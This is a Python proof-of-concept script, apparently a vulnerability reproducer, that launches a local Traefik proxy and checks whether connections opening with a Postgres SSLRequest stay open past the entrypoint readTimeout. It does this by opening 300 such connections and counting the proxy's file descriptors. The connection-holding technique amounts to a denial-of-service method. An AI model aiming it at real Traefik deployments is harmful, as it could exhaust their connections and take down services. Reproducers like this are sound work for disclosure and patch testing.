#!/usr/bin/env python3
from __future__ import annotations

import os
import socket
import subprocess
import tempfile
import time
from typing import Final

# Hardcode the Traefik binary path. Edit as needed.
TRAEFIK_BIN: Final[str] = "/usr/local/sbin/traefik"

HOST: Final[str] = "127.0.0.1"
PORT: Final[int] = 18080

STARTUP_SLEEP_SECS: Final[float] = 2.0
READ_TIMEOUT_SECS: Final[float] = 2.0
SLEEP_SECS: Final[float] = 3.5
N_CONNS: Final[int] = 300

POSTGRES_SSLREQUEST: Final[bytes] = bytes([0x00, 0x00, 0x00, 0x08, 0x04, 0xD2, 0x16, 0x2F])


def fd_count(pid: int) -> int:
    return len(os.listdir(f"/proc/{pid}/fd"))


def open_idle_conns(n: int) -> list[socket.socket]:
    conns: list[socket.socket] = []
    for _ in range(n):
        conns.append(socket.create_connection((HOST, PORT)))
    return conns


def open_postgres_sslrequest_conns(n: int) -> list[socket.socket]:
    conns: list[socket.socket] = []
    for _ in range(n):
        s = socket.create_connection((HOST, PORT))
        s.settimeout(1.0)
        s.sendall(POSTGRES_SSLREQUEST)
        try:
            _ = s.recv(1)  # typically b"S"
        except socket.timeout:
            pass
        conns.append(s)
    return conns


def close_all(conns: list[socket.socket]) -> None:
    for s in conns:
        try:
            s.close()
        except OSError:
            pass


def main() -> None:
    with tempfile.TemporaryDirectory(prefix="vh-traefik-f005-") as td:
        dyn = os.path.join(td, "dynamic.yml")
        with open(dyn, "w", encoding="utf-8") as f:
            f.write(
                f"""\
http:
  routers:
    r:
      entryPoints: [web]
      rule: "PathPrefix(`/`)"
      service: s
  services:
    s:
      loadBalancer:
        servers:
          - url: "http://{HOST}:9"
"""
            )

        proc = subprocess.Popen(
            [
                TRAEFIK_BIN,
                "--log.level=ERROR",
                f"--entryPoints.web.address=:{PORT}",
                f"--entryPoints.web.transport.respondingTimeouts.readTimeout={READ_TIMEOUT_SECS}s",
                f"--providers.file.filename={dyn}",
                "--providers.file.watch=false",
            ],
            stdout=subprocess.DEVNULL,
            stderr=subprocess.STDOUT,
        )
        try:
            time.sleep(STARTUP_SLEEP_SECS)

            pid = proc.pid
            if pid is None:
                raise RuntimeError("Traefik PID is None")

            ver = subprocess.check_output([TRAEFIK_BIN, "version"], text=True).strip()
            print(ver)
            print(f"Traefik={TRAEFIK_BIN}")
            print(f"Host={HOST} Port={PORT} ReadTimeout={READ_TIMEOUT_SECS}s N={N_CONNS} Sleep={SLEEP_SECS}s")

            base = fd_count(pid)
            print(f"traefik_pid={pid} fd_base={base}")

            idle = open_idle_conns(N_CONNS)
            fd_after_open_idle = fd_count(pid)
            print(f"baseline_opened={N_CONNS} fd_after_open={fd_after_open_idle} delta={fd_after_open_idle - base}")
            time.sleep(SLEEP_SECS)
            fd_after_sleep_idle = fd_count(pid)
            print(f"baseline_after_sleep fd={fd_after_sleep_idle} delta_from_base={fd_after_sleep_idle - base}")
            close_all(idle)

            pg = open_postgres_sslrequest_conns(N_CONNS)
            fd_after_open_pg = fd_count(pid)
            print(f"candidate_opened={N_CONNS} fd_after_open={fd_after_open_pg} delta={fd_after_open_pg - base}")
            time.sleep(SLEEP_SECS)
            fd_after_sleep_pg = fd_count(pid)
            print(f"candidate_after_sleep fd={fd_after_sleep_pg} delta_from_base={fd_after_sleep_pg - base}")
            close_all(pg)

            if (fd_after_sleep_idle - base) <= 5 and (fd_after_sleep_pg - base) >= (N_CONNS // 2):
                print("VULNERABLE: Postgres SSLRequest keeps connections open past entrypoint readTimeout.")
            else:
                print("INCONCLUSIVE: adjust N_CONNS upward or inspect Traefik logs.")
        finally:
            proc.terminate()
            try:
                proc.wait(timeout=3.0)
            except subprocess.TimeoutExpired:
                proc.kill()
                proc.wait(timeout=3.0)


if __name__ == "__main__":
    main()